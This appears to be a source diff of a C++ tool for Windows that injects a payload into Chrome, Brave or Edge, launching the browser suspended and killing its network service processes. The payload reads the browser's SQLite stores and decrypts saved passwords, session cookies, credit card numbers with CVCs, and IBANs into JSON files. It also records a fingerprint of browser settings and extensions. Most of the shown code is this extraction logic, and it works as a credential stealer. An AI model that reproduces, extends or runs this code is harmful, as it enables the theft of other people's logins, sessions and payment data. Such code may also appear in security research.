||||
|
||||
#include "../core/common.hpp"
|
||||
#include <memory>
|
||||
#include <filesystem>
|
||||
#include <string>
|
||||
|
||||
namespace Injector {
|
||||
|
||||
struct ExtractionStats {
|
||||
int cookies = 0;
|
||||
int cookiesTotal = 0;
|
||||
int passwords = 0;
|
||||
int cards = 0;
|
||||
int ibans = 0;
|
||||
int profiles = 0;
|
||||
};
|
||||
|
||||
class PipeServer {
|
||||
public:
|
||||
explicit PipeServer(const std::wstring& browserType);
|
||||
void Create();
|
||||
void WaitForClient();
|
||||
void SendConfig(bool verbose, bool fingerprint, const std::filesystem::path& output);
|
||||
void ProcessMessages(bool verbose);
|
||||
std::wstring GetName() const { return m_pipeName; }
|
||||
ExtractionStats GetStats() const { return m_stats; }
|
||||
|
||||
private:
|
||||
void Write(const std::string& msg);
|
||||
std::wstring GenerateName(const std::wstring& browserType);
|
||||
|
||||
std::wstring m_pipeName;
|
||||
Core::HandlePtr m_hPipe;
|
||||
ExtractionStats m_stats;
|
||||
};
|
||||
|
||||
}
|
||||
@@ -0,0 +1,110 @@
|
||||
// (c) Alexander 'xaitax' Hagenah
|
||||
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
|
||||
|
||||
#include "process_manager.hpp"
|
||||
#include "../sys/internal_api.hpp"
|
||||
#include <iostream>
|
||||
|
||||
namespace Injector {
|
||||
|
||||
ProcessManager::ProcessManager(const BrowserInfo& browser) : m_browser(browser) {}
|
||||
|
||||
ProcessManager::~ProcessManager() {
|
||||
// Ensure cleanup if not explicitly terminated
|
||||
if (m_hProcess) Terminate();
|
||||
}
|
||||
|
||||
void ProcessManager::CreateSuspended() {
|
||||
STARTUPINFOW si{};
|
||||
PROCESS_INFORMATION pi{};
|
||||
si.cb = sizeof(si);
|
||||
|
||||
if (!CreateProcessW(m_browser.fullPath.c_str(), nullptr, nullptr, nullptr,
|
||||
FALSE, CREATE_SUSPENDED, nullptr, nullptr, &si, &pi)) {
|
||||
throw std::runtime_error("CreateProcessW failed: " + std::to_string(GetLastError()));
|
||||
}
|
||||
|
||||
m_hProcess.reset(pi.hProcess);
|
||||
m_hThread.reset(pi.hThread);
|
||||
m_pid = pi.dwProcessId;
|
||||
|
||||
CheckArchitecture();
|
||||
}
|
||||
|
||||
void ProcessManager::Terminate() {
|
||||
if (m_hProcess) {
|
||||
NtTerminateProcess_syscall(m_hProcess.get(), 0);
|
||||
WaitForSingleObject(m_hProcess.get(), 2000);
|
||||
m_hProcess.reset(); // Release handle
|
||||
}
|
||||
}
|
||||
|
||||
void ProcessManager::CheckArchitecture() {
|
||||
USHORT processArch = 0, nativeMachine = 0;
|
||||
auto fnIsWow64Process2 = (decltype(&IsWow64Process2))GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "IsWow64Process2");
|
||||
|
||||
if (!fnIsWow64Process2 || !fnIsWow64Process2(m_hProcess.get(), &processArch, &nativeMachine)) {
|
||||
throw std::runtime_error("Failed to determine target architecture");
|
||||
}
|
||||
|
||||
m_arch = (processArch == IMAGE_FILE_MACHINE_UNKNOWN) ? nativeMachine : processArch;
|
||||
|
||||
// Injector is x64 or ARM64 (native)
|
||||
#if defined(_M_X64)
|
||||
constexpr USHORT injectorArch = 0x8664; // AMD64
|
||||
#elif defined(_M_ARM64)
|
||||
constexpr USHORT injectorArch = 0xAA64; // ARM64
|
||||
#else
|
||||
constexpr USHORT injectorArch = 0;
|
||||
#endif
|
||||
|
||||
if (m_arch != injectorArch) {
|
||||
throw std::runtime_error("Architecture mismatch: Target is " + std::to_string(m_arch));
|
||||
}
|
||||
}
|
||||
|
||||
void ProcessManager::KillNetworkServices(const std::wstring& processName) {
|
||||
Core::UniqueHandle hCurrentProc;
|
||||
HANDLE nextProcHandle = nullptr;
|
||||
|
||||
while (NtGetNextProcess_syscall(hCurrentProc.get(), PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_TERMINATE, 0, 0, &nextProcHandle) == 0) {
|
||||
Core::UniqueHandle hNextProc(nextProcHandle);
|
||||
hCurrentProc = std::move(hNextProc);
|
||||
|
||||
std::vector<BYTE> buffer(sizeof(UNICODE_STRING_SYSCALLS) + MAX_PATH * 2);
|
||||
auto imageName = reinterpret_cast<PUNICODE_STRING_SYSCALLS>(buffer.data());
|
||||
|
||||
if (NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessImageFileName, imageName, (ULONG)buffer.size(), NULL) != 0 || imageName->Length == 0)
|
||||
continue;
|
||||
|
||||
std::wstring pPath(imageName->Buffer, imageName->Length / sizeof(wchar_t));
|
||||
std::filesystem::path p(pPath);
|
||||
|
||||
if (_wcsicmp(p.filename().c_str(), processName.c_str()) != 0)
|
||||
continue;
|
||||
|
||||
PROCESS_BASIC_INFORMATION pbi{};
|
||||
if (NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessBasicInformation, &pbi, sizeof(pbi), nullptr) != 0 || !pbi.PebBaseAddress)
|
||||
continue;
|
||||
|
||||
// Read PEB to get command line
|
||||
// Note: This is a simplified version. In a real elite tool, we'd be more robust reading remote memory.
|
||||
// But for now, we follow the original logic.
|
||||
PEB peb{};
|
||||
if (NtReadVirtualMemory_syscall(hCurrentProc.get(), pbi.PebBaseAddress, &peb, sizeof(peb), nullptr) != 0) continue;
|
||||
|
||||
RTL_USER_PROCESS_PARAMETERS params{};
|
||||
if (NtReadVirtualMemory_syscall(hCurrentProc.get(), peb.ProcessParameters, ¶ms, sizeof(params), nullptr) != 0) continue;
|
||||
|
||||
std::vector<wchar_t> cmdLine(params.CommandLine.Length / sizeof(wchar_t) + 1, 0);
|
||||
if (params.CommandLine.Length > 0 && NtReadVirtualMemory_syscall(hCurrentProc.get(), params.CommandLine.Buffer, cmdLine.data(), params.CommandLine.Length, nullptr) == 0) {
|
||||
if (wcsstr(cmdLine.data(), L"--utility-sub-type=network.mojom.NetworkService")) {
|
||||
NtTerminateProcess_syscall(hCurrentProc.get(), 0);
|
||||
// Wait for process to terminate and release file handles
|
||||
WaitForSingleObject(hCurrentProc.get(), 500);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
// (c) Alexander 'xaitax' Hagenah
|
||||
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "../core/common.hpp"
|
||||
#include "browser_discovery.hpp"
|
||||
|
||||
namespace Injector {
|
||||
|
||||
class ProcessManager {
|
||||
public:
|
||||
explicit ProcessManager(const BrowserInfo& browser);
|
||||
~ProcessManager();
|
||||
|
||||
void CreateSuspended();
|
||||
void Terminate();
|
||||
HANDLE GetProcessHandle() const { return m_hProcess.get(); }
|
||||
HANDLE GetThreadHandle() const { return m_hThread.get(); }
|
||||
DWORD GetPid() const { return m_pid; }
|
||||
|
||||
// Kill existing network services to free file locks
|
||||
static void KillNetworkServices(const std::wstring& processName);
|
||||
|
||||
private:
|
||||
void CheckArchitecture();
|
||||
|
||||
BrowserInfo m_browser;
|
||||
Core::UniqueHandle m_hProcess;
|
||||
Core::UniqueHandle m_hThread;
|
||||
DWORD m_pid = 0;
|
||||
USHORT m_arch = 0;
|
||||
};
|
||||
|
||||
}
|
||||
@@ -0,0 +1,63 @@
|
||||
// (c) Alexander 'xaitax' Hagenah
|
||||
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "../core/common.hpp"
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include <map>
|
||||
#include <ShlObj.h>
|
||||
|
||||
namespace Payload {
|
||||
|
||||
struct BrowserConfig {
|
||||
std::string name;
|
||||
std::wstring processName;
|
||||
CLSID clsid;
|
||||
IID iid;
|
||||
std::filesystem::path userDataPath;
|
||||
};
|
||||
|
||||
inline std::filesystem::path GetLocalAppData() {
|
||||
PWSTR path = nullptr;
|
||||
if (SUCCEEDED(SHGetKnownFolderPath(FOLDERID_LocalAppData, 0, NULL, &path))) {
|
||||
std::filesystem::path p(path);
|
||||
CoTaskMemFree(path);
|
||||
return p;
|
||||
}
|
||||
return {};
|
||||
}
|
||||
|
||||
inline const std::map<std::string, BrowserConfig> GetConfigs() {
|
||||
auto localApp = GetLocalAppData();
|
||||
return {
|
||||
{"chrome", {"Chrome", L"chrome.exe",
|
||||
{0x708860E0, 0xF641, 0x4611, {0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B}},
|
||||
{0x463ABECF, 0x410D, 0x407F, {0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8}},
|
||||
localApp / "Google" / "Chrome" / "User Data"}},
|
||||
{"brave", {"Brave", L"brave.exe",
|
||||
{0x576B31AF, 0x6369, 0x4B6B, {0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B}},
|
||||
{0xF396861E, 0x0C8E, 0x4C71, {0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9}},
|
||||
localApp / "BraveSoftware" / "Brave-Browser" / "User Data"}},
|
||||
{"edge", {"Edge", L"msedge.exe",
|
||||
{0x1FCBE96C, 0x1697, 0x43AF, {0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67}},
|
||||
{0xC9C2B807, 0x7731, 0x4F34, {0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B}},
|
||||
localApp / "Microsoft" / "Edge" / "User Data"}}
|
||||
};
|
||||
}
|
||||
|
||||
inline BrowserConfig DetectBrowser() {
|
||||
char path[MAX_PATH];
|
||||
GetModuleFileNameA(NULL, path, MAX_PATH);
|
||||
std::string exe = std::filesystem::path(path).filename().string();
|
||||
std::transform(exe.begin(), exe.end(), exe.begin(), ::tolower);
|
||||
|
||||
if (exe == "chrome.exe") return GetConfigs().at("chrome");
|
||||
if (exe == "brave.exe") return GetConfigs().at("brave");
|
||||
if (exe == "msedge.exe") return GetConfigs().at("edge");
|
||||
|
||||
throw std::runtime_error("Unknown browser process");
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,259 @@
|
||||
// (c) Alexander 'xaitax' Hagenah
|
||||
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
|
||||
|
||||
#include "data_extractor.hpp"
|
||||
#include "../crypto/aes_gcm.hpp"
|
||||
#include <fstream>
|
||||
#include <sstream>
|
||||
#include <iomanip>
|
||||
#include <map>
|
||||
|
||||
namespace Payload {
|
||||
|
||||
DataExtractor::DataExtractor(PipeClient& pipe, const std::vector<uint8_t>& key, const std::filesystem::path& outputBase)
|
||||
: m_pipe(pipe), m_key(key), m_outputBase(outputBase) {}
|
||||
|
||||
sqlite3* DataExtractor::OpenDatabase(const std::filesystem::path& dbPath) {
|
||||
sqlite3* db = nullptr;
|
||||
std::string uri = "file:" + dbPath.string() + "?nolock=1";
|
||||
if (sqlite3_open_v2(uri.c_str(), &db, SQLITE_OPEN_READONLY | SQLITE_OPEN_URI, nullptr) != SQLITE_OK) {
|
||||
if (db) sqlite3_close(db);
|
||||
return nullptr;
|
||||
}
|
||||
return db;
|
||||
}
|
||||
|
||||
void DataExtractor::ProcessProfile(const std::filesystem::path& profilePath, const std::string& browserName) {
|
||||
m_pipe.Log("PROFILE:" + profilePath.filename().string());
|
||||
|
||||
try {
|
||||
uintmax_t size = 0;
|
||||
for(const auto& p : std::filesystem::recursive_directory_iterator(profilePath)) {
|
||||
if(!std::filesystem::is_directory(p)) size += std::filesystem::file_size(p);
|
||||
}
|
||||
m_pipe.LogData("Size", std::to_string(size / 1024 / 1024) + " MB");
|
||||
} catch(...) {}
|
||||
|
||||
try {
|
||||
// Cookies
|
||||
auto cookiePath = profilePath / "Network" / "Cookies";
|
||||
if (std::filesystem::exists(cookiePath)) {
|
||||
if (auto db = OpenDatabase(cookiePath)) {
|
||||
ExtractCookies(db, m_outputBase / browserName / profilePath.filename() / "cookies.json");
|
||||
sqlite3_close(db);
|
||||
}
|
||||
}
|
||||
} catch(...) {}
|
||||
|
||||
try {
|
||||
// Passwords
|
||||
auto loginPath = profilePath / "Login Data";
|
||||
if (std::filesystem::exists(loginPath)) {
|
||||
if (auto db = OpenDatabase(loginPath)) {
|
||||
ExtractPasswords(db, m_outputBase / browserName / profilePath.filename() / "passwords.json");
|
||||
sqlite3_close(db);
|
||||
}
|
||||
}
|
||||
} catch(...) {}
|
||||
|
||||
try {
|
||||
// Cards & IBANs (Web Data)
|
||||
auto webDataPath = profilePath / "Web Data";
|
||||
if (std::filesystem::exists(webDataPath)) {
|
||||
if (auto db = OpenDatabase(webDataPath)) {
|
||||
ExtractCards(db, m_outputBase / browserName / profilePath.filename() / "cards.json");
|
||||
ExtractIBANs(db, m_outputBase / browserName / profilePath.filename() / "iban.json");
|
||||
sqlite3_close(db);
|
||||
}
|
||||
}
|
||||
} catch(...) {}
|
||||
}
|
||||
|
||||
void DataExtractor::ExtractCookies(sqlite3* db, const std::filesystem::path& outFile) {
|
||||
sqlite3_stmt* stmt;
|
||||
const char* query = "SELECT host_key, name, path, is_secure, is_httponly, expires_utc, encrypted_value FROM cookies";
|
||||
|
||||
if (sqlite3_prepare_v2(db, query, -1, &stmt, nullptr) != SQLITE_OK) return;
|
||||
|
||||
std::vector<std::string> entries;
|
||||
int total = 0;
|
||||
while (sqlite3_step(stmt) == SQLITE_ROW) {
|
||||
total++;
|
||||
const void* blob = sqlite3_column_blob(stmt, 6);
|
||||
int blobLen = sqlite3_column_bytes(stmt, 6);
|
||||
|
||||
if (blob && blobLen > 0) {
|
||||
std::vector<uint8_t> encrypted((uint8_t*)blob, (uint8_t*)blob + blobLen);
|
||||
auto decrypted = Crypto::AesGcm::Decrypt(m_key, encrypted);
|
||||
|
||||
if (decrypted && decrypted->size() > 32) {
|
||||
std::string val((char*)decrypted->data() + 32, decrypted->size() - 32);
|
||||
|
||||
std::stringstream ss;
|
||||
ss << "{\"host\":\"" << EscapeJson((char*)sqlite3_column_text(stmt, 0)) << "\","
|
||||
<< "\"name\":\"" << EscapeJson((char*)sqlite3_column_text(stmt, 1)) << "\","
|
||||
<< "\"value\":\"" << EscapeJson(val) << "\"}";
|
||||
entries.push_back(ss.str());
|
||||
}
|
||||
}
|
||||
}
|
||||
sqlite3_finalize(stmt);
|
||||
|
||||
if (!entries.empty()) {
|
||||
std::filesystem::create_directories(outFile.parent_path());
|
||||
std::ofstream out(outFile);
|
||||
out << "[\n";
|
||||
for (size_t i = 0; i < entries.size(); ++i) {
|
||||
out << entries[i] << (i < entries.size() - 1 ? ",\n" : "\n");
|
||||
}
|
||||
out << "]";
|
||||
// Structured message: COOKIES:extracted:total
|
||||
m_pipe.Log("COOKIES:" + std::to_string(entries.size()) + ":" + std::to_string(total));
|
||||
}
|
||||
}
|
||||
|
||||
void DataExtractor::ExtractPasswords(sqlite3* db, const std::filesystem::path& outFile) {
|
||||
sqlite3_stmt* stmt;
|
||||
const char* query = "SELECT origin_url, username_value, password_value FROM logins";
|
||||
|
||||
if (sqlite3_prepare_v2(db, query, -1, &stmt, nullptr) != SQLITE_OK) return;
|
||||
|
||||
std::vector<std::string> entries;
|
||||
while (sqlite3_step(stmt) == SQLITE_ROW) {
|
||||
const void* blob = sqlite3_column_blob(stmt, 2);
|
||||
int blobLen = sqlite3_column_bytes(stmt, 2);
|
||||
|
||||
if (blob && blobLen > 0) {
|
||||
std::vector<uint8_t> encrypted((uint8_t*)blob, (uint8_t*)blob + blobLen);
|
||||
auto decrypted = Crypto::AesGcm::Decrypt(m_key, encrypted);
|
||||
|
||||
if (decrypted) {
|
||||
std::string val((char*)decrypted->data(), decrypted->size());
|
||||
std::stringstream ss;
|
||||
ss << "{\"url\":\"" << EscapeJson((char*)sqlite3_column_text(stmt, 0)) << "\","
|
||||
<< "\"user\":\"" << EscapeJson((char*)sqlite3_column_text(stmt, 1)) << "\","
|
||||
<< "\"pass\":\"" << EscapeJson(val) << "\"}";
|
||||
entries.push_back(ss.str());
|
||||
}
|
||||
}
|
||||
}
|
||||
sqlite3_finalize(stmt);
|
||||
|
||||
if (!entries.empty()) {
|
||||
std::filesystem::create_directories(outFile.parent_path());
|
||||
std::ofstream out(outFile);
|
||||
out << "[\n";
|
||||
for (size_t i = 0; i < entries.size(); ++i) {
|
||||
out << entries[i] << (i < entries.size() - 1 ? ",\n" : "\n");
|
||||
}
|
||||
out << "]";
|
||||
m_pipe.Log("PASSWORDS:" + std::to_string(entries.size()));
|
||||
}
|
||||
}
|
||||
|
||||
void DataExtractor::ExtractCards(sqlite3* db, const std::filesystem::path& outFile) {
|
||||
// 1. Load CVCs
|
||||
std::map<std::string, std::string> cvcMap;
|
||||
sqlite3_stmt* stmt;
|
||||
if (sqlite3_prepare_v2(db, "SELECT guid, value_encrypted FROM local_stored_cvc", -1, &stmt, nullptr) == SQLITE_OK) {
|
||||
while (sqlite3_step(stmt) == SQLITE_ROW) {
|
||||
const char* guid = (const char*)sqlite3_column_text(stmt, 0);
|
||||
const void* blob = sqlite3_column_blob(stmt, 1);
|
||||
int len = sqlite3_column_bytes(stmt, 1);
|
||||
if (guid && blob && len > 0) {
|
||||
std::vector<uint8_t> enc((uint8_t*)blob, (uint8_t*)blob + len);
|
||||
auto dec = Crypto::AesGcm::Decrypt(m_key, enc);
|
||||
if (dec) cvcMap[guid] = std::string((char*)dec->data(), dec->size());
|
||||
}
|
||||
}
|
||||
sqlite3_finalize(stmt);
|
||||
}
|
||||
|
||||
// 2. Extract Cards
|
||||
if (sqlite3_prepare_v2(db, "SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards", -1, &stmt, nullptr) != SQLITE_OK) return;
|
||||
|
||||
std::vector<std::string> entries;
|
||||
while (sqlite3_step(stmt) == SQLITE_ROW) {
|
||||
const char* guid = (const char*)sqlite3_column_text(stmt, 0);
|
||||
const void* blob = sqlite3_column_blob(stmt, 4);
|
||||
int len = sqlite3_column_bytes(stmt, 4);
|
||||
|
||||
if (blob && len > 0) {
|
||||
std::vector<uint8_t> enc((uint8_t*)blob, (uint8_t*)blob + len);
|
||||
auto dec = Crypto::AesGcm::Decrypt(m_key, enc);
|
||||
if (dec) {
|
||||
std::string num((char*)dec->data(), dec->size());
|
||||
std::string cvc = (guid && cvcMap.count(guid)) ? cvcMap[guid] : "";
|
||||
|
||||
std::stringstream ss;
|
||||
ss << "{\"name\":\"" << EscapeJson((char*)sqlite3_column_text(stmt, 1)) << "\","
|
||||
<< "\"month\":" << sqlite3_column_int(stmt, 2) << ","
|
||||
<< "\"year\":" << sqlite3_column_int(stmt, 3) << ","
|
||||
<< "\"number\":\"" << EscapeJson(num) << "\","
|
||||
<< "\"cvc\":\"" << EscapeJson(cvc) << "\"}";
|
||||
entries.push_back(ss.str());
|
||||
}
|
||||
}
|
||||
}
|
||||
sqlite3_finalize(stmt);
|
||||
|
||||
if (!entries.empty()) {
|
||||
std::filesystem::create_directories(outFile.parent_path());
|
||||
std::ofstream out(outFile);
|
||||
out << "[\n";
|
||||
for (size_t i = 0; i < entries.size(); ++i) out << entries[i] << (i < entries.size() - 1 ? ",\n" : "\n");
|
||||
out << "]";
|
||||
m_pipe.Log("CARDS:" + std::to_string(entries.size()));
|
||||
}
|
||||
}
|
||||
|
||||
void DataExtractor::ExtractIBANs(sqlite3* db, const std::filesystem::path& outFile) {
|
||||
sqlite3_stmt* stmt;
|
||||
if (sqlite3_prepare_v2(db, "SELECT value_encrypted, nickname FROM local_ibans", -1, &stmt, nullptr) != SQLITE_OK) return;
|
||||
|
||||
std::vector<std::string> entries;
|
||||
while (sqlite3_step(stmt) == SQLITE_ROW) {
|
||||
const void* blob = sqlite3_column_blob(stmt, 0);
|
||||
int len = sqlite3_column_bytes(stmt, 0);
|
||||
|
||||
if (blob && len > 0) {
|
||||
std::vector<uint8_t> enc((uint8_t*)blob, (uint8_t*)blob + len);
|
||||
auto dec = Crypto::AesGcm::Decrypt(m_key, enc);
|
||||
if (dec) {
|
||||
std::string val((char*)dec->data(), dec->size());
|
||||
std::stringstream ss;
|
||||
ss << "{\"nickname\":\"" << EscapeJson((char*)sqlite3_column_text(stmt, 1)) << "\","
|
||||
<< "\"iban\":\"" << EscapeJson(val) << "\"}";
|
||||
entries.push_back(ss.str());
|
||||
}
|
||||
}
|
||||
}
|
||||
sqlite3_finalize(stmt);
|
||||
|
||||
if (!entries.empty()) {
|
||||
std::filesystem::create_directories(outFile.parent_path());
|
||||
std::ofstream out(outFile);
|
||||
out << "[\n";
|
||||
for (size_t i = 0; i < entries.size(); ++i) out << entries[i] << (i < entries.size() - 1 ? ",\n" : "\n");
|
||||
out << "]";
|
||||
m_pipe.Log("IBANS:" + std::to_string(entries.size()));
|
||||
}
|
||||
}
|
||||
|
||||
std::string DataExtractor::EscapeJson(const std::string& s) {
|
||||
std::ostringstream o;
|
||||
for (char c : s) {
|
||||
if (c == '"') o << "\\\"";
|
||||
else if (c == '\\') o << "\\\\";
|
||||
else if (c == '\b') o << "\\b";
|
||||
else if (c == '\f') o << "\\f";
|
||||
else if (c == '\n') o << "\\n";
|
||||
else if (c == '\r') o << "\\r";
|
||||
else if (c == '\t') o << "\\t";
|
||||
else if ('\x00' <= c && c <= '\x1f') o << "\\u" << std::hex << std::setw(4) << std::setfill('0') << (int)c;
|
||||
else o << c;
|
||||
}
|
||||
return o.str();
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
// (c) Alexander 'xaitax' Hagenah
|
||||
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "../core/common.hpp"
|
||||
#include "pipe_client.hpp"
|
||||
#include "../../libs/sqlite/sqlite3.h"
|
||||
#include <vector>
|
||||
#include <string>
|
||||
|
||||
namespace Payload {
|
||||
|
||||
class DataExtractor {
|
||||
public:
|
||||
DataExtractor(PipeClient& pipe, const std::vector<uint8_t>& key, const std::filesystem::path& outputBase);
|
||||
|
||||
void ProcessProfile(const std::filesystem::path& profilePath, const std::string& browserName);
|
||||
|
||||
private:
|
||||
sqlite3* OpenDatabase(const std::filesystem::path& dbPath);
|
||||
|
||||
void ExtractCookies(sqlite3* db, const std::filesystem::path& outFile);
|
||||
void ExtractPasswords(sqlite3* db, const std::filesystem::path& outFile);
|
||||
void ExtractCards(sqlite3* db, const std::filesystem::path& outFile);
|
||||
void ExtractIBANs(sqlite3* db, const std::filesystem::path& outFile);
|
||||
|
||||
std::string EscapeJson(const std::string& s);
|
||||
|
||||
PipeClient& m_pipe;
|
||||
std::vector<uint8_t> m_key;
|
||||
std::filesystem::path m_outputBase;
|
||||
};
|
||||
|
||||
}
|
||||
@@ -0,0 +1,298 @@
|
||||
// (c) Alexander 'xaitax' Hagenah
|
||||
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "../core/common.hpp"
|
||||
#include "pipe_client.hpp"
|
||||
#include "browser_config.hpp"
|
||||
#include <fstream>
|
||||
#include <sstream>
|
||||
#include <chrono>
|
||||
#include <vector>
|
||||
#include <iomanip>
|
||||
|
||||
namespace Payload {
|
||||
|
||||
class FingerprintExtractor {
|
||||
public:
|
||||
FingerprintExtractor(PipeClient& pipe, const BrowserConfig& browser,
|
||||
const std::filesystem::path& outputBase)
|
||||
: m_pipe(pipe), m_browser(browser), m_outputBase(outputBase) {}
|
||||
|
||||
void Extract() {
|
||||
m_pipe.LogDebug("Extracting comprehensive fingerprint...");
|
||||
|
||||
std::ostringstream json;
|
||||
json << "{\n";
|
||||
|
||||
// Basic browser info
|
||||
json << " \"browser\": \"" << m_browser.name << "\",\n";
|
||||
|
||||
// Get executable path and version
|
||||
char exePath[MAX_PATH] = {0};
|
||||
GetModuleFileNameA(NULL, exePath, MAX_PATH);
|
||||
json << " \"executable_path\": \"" << EscapeJson(exePath) << "\",\n";
|
||||
|
||||
ExtractVersion(json, exePath);
|
||||
|
||||
json << " \"user_data_path\": \"" << EscapeJson(m_browser.userDataPath.string()) << "\",\n";
|
||||
|
||||
// Local State analysis
|
||||
ExtractLocalState(json);
|
||||
|
||||
// Preferences analysis
|
||||
ExtractPreferences(json);
|
||||
|
||||
// Extensions
|
||||
ExtractExtensions(json);
|
||||
|
||||
// Profile count
|
||||
ExtractProfileCount(json);
|
||||
|
||||
// System info
|
||||
ExtractSystemInfo(json);
|
||||
|
||||
// Timestamps
|
||||
ExtractTimestamps(json);
|
||||
|
||||
// Remove trailing comma and close
|
||||
json << " \"extraction_complete\": true\n";
|
||||
json << "}";
|
||||
|
||||
// Write to file
|
||||
auto outFile = m_outputBase / m_browser.name / "fingerprint.json";
|
||||
std::filesystem::create_directories(outFile.parent_path());
|
||||
std::ofstream out(outFile);
|
||||
if (out) {
|
||||
out << json.str();
|
||||
m_pipe.LogDebug("Fingerprint saved to " + outFile.filename().string());
|
||||
}
|
||||
}
|
||||
|
||||
private:
|
||||
void ExtractVersion(std::ostringstream& json, const char* exePath) {
|
||||
DWORD handle = 0;
|
||||
DWORD versionSize = GetFileVersionInfoSizeA(exePath, &handle);
|
||||
if (versionSize > 0) {
|
||||
std::vector<BYTE> versionData(versionSize);
|
||||
if (GetFileVersionInfoA(exePath, 0, versionSize, versionData.data())) {
|
||||
VS_FIXEDFILEINFO* fileInfo = nullptr;
|
||||
UINT len = 0;
|
||||
if (VerQueryValueA(versionData.data(), "\\", (LPVOID*)&fileInfo, &len) && len > 0) {
|
||||
json << " \"browser_version\": \""
|
||||
<< HIWORD(fileInfo->dwFileVersionMS) << "."
|
||||
<< LOWORD(fileInfo->dwFileVersionMS) << "."
|
||||
<< HIWORD(fileInfo->dwFileVersionLS) << "."
|
||||
<< LOWORD(fileInfo->dwFileVersionLS) << "\",\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void ExtractLocalState(std::ostringstream& json) {
|
||||
auto localStatePath = m_browser.userDataPath / "Local State";
|
||||
if (!std::filesystem::exists(localStatePath)) return;
|
||||
|
||||
std::ifstream f(localStatePath);
|
||||
if (!f) return;
|
||||
|
||||
std::string content((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>());
|
||||
|
||||
// Sync/account status
|
||||
json << " \"sync_enabled\": " << (ContainsKey(content, "account_info") ? "true" : "false") << ",\n";
|
||||
|
||||
// Enterprise management
|
||||
json << " \"enterprise_managed\": " << (ContainsKey(content, "enterprise") ? "true" : "false") << ",\n";
|
||||
|
||||
// Update channel detection
|
||||
std::string channel = "stable";
|
||||
if (ContainsKey(content, "\"canary\"")) channel = "canary";
|
||||
else if (ContainsKey(content, "\"dev\"")) channel = "dev";
|
||||
else if (ContainsKey(content, "\"beta\"")) channel = "beta";
|
||||
json << " \"update_channel\": \"" << channel << "\",\n";
|
||||
|
||||
// Default search engine
|
||||
size_t searchPos = content.find("default_search_provider_data");
|
||||
if (searchPos != std::string::npos) {
|
||||
std::string searchEngine = "unknown";
|
||||
std::string searchSection = content.substr(searchPos, std::min<size_t>(2000, content.size() - searchPos));
|
||||
if (searchSection.find("google") != std::string::npos) searchEngine = "Google";
|
||||
else if (searchSection.find("bing") != std::string::npos) searchEngine = "Bing";
|
||||
else if (searchSection.find("duckduckgo") != std::string::npos) searchEngine = "DuckDuckGo";
|
||||
else if (searchSection.find("yahoo") != std::string::npos) searchEngine = "Yahoo";
|
||||
else if (searchSection.find("ecosia") != std::string::npos) searchEngine = "Ecosia";
|
||||
json << " \"default_search_engine\": \"" << searchEngine << "\",\n";
|
||||
}
|
||||
|
||||
// Hardware acceleration
|
||||
json << " \"hardware_acceleration\": " << (ContainsKey(content, "hardware_acceleration_mode_enabled") ? "true" : "false") << ",\n";
|
||||
|
||||
// Browser metrics consent
|
||||
json << " \"metrics_enabled\": " << (ContainsKey(content, "\"enabled\":true", "metrics") ? "true" : "false") << ",\n";
|
||||
}
|
||||
|
||||
void ExtractPreferences(std::ostringstream& json) {
|
||||
auto prefsPath = m_browser.userDataPath / "Default" / "Preferences";
|
||||
if (!std::filesystem::exists(prefsPath)) return;
|
||||
|
||||
std::ifstream f(prefsPath);
|
||||
if (!f) return;
|
||||
|
||||
std::string content((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>());
|
||||
|
||||
// Security features
|
||||
json << " \"autofill_enabled\": " << (ContainsKey(content, "autofill") ? "true" : "false") << ",\n";
|
||||
json << " \"password_manager_enabled\": " << (ContainsKey(content, "credentials_enable_service") ? "true" : "false") << ",\n";
|
||||
json << " \"safe_browsing_enabled\": " << (ContainsKey(content, "safebrowsing") ? "true" : "false") << ",\n";
|
||||
|
||||
// Additional security settings
|
||||
json << " \"do_not_track\": " << (ContainsKey(content, "enable_do_not_track") ? "true" : "false") << ",\n";
|
||||
json << " \"third_party_cookies_blocked\": " << (ContainsKey(content, "block_third_party_cookies") ? "true" : "false") << ",\n";
|
||||
|
||||
// Privacy settings
|
||||
json << " \"translate_enabled\": " << (ContainsKey(content, "translate") && !ContainsKey(content, "\"translate\":{\"enabled\":false}") ? "true" : "false") << ",\n";
|
||||
}
|
||||
|
||||
void ExtractExtensions(std::ostringstream& json) {
|
||||
auto extensionsPath = m_browser.userDataPath / "Default" / "Extensions";
|
||||
if (!std::filesystem::exists(extensionsPath)) {
|
||||
json << " \"installed_extensions_count\": 0,\n";
|
||||
return;
|
||||
}
|
||||
|
||||
std::vector<std::string> extensionIds;
|
||||
try {
|
||||
for (const auto& entry : std::filesystem::directory_iterator(extensionsPath)) {
|
||||
if (entry.is_directory()) {
|
||||
extensionIds.push_back(entry.path().filename().string());
|
||||
}
|
||||
}
|
||||
} catch (...) {}
|
||||
|
||||
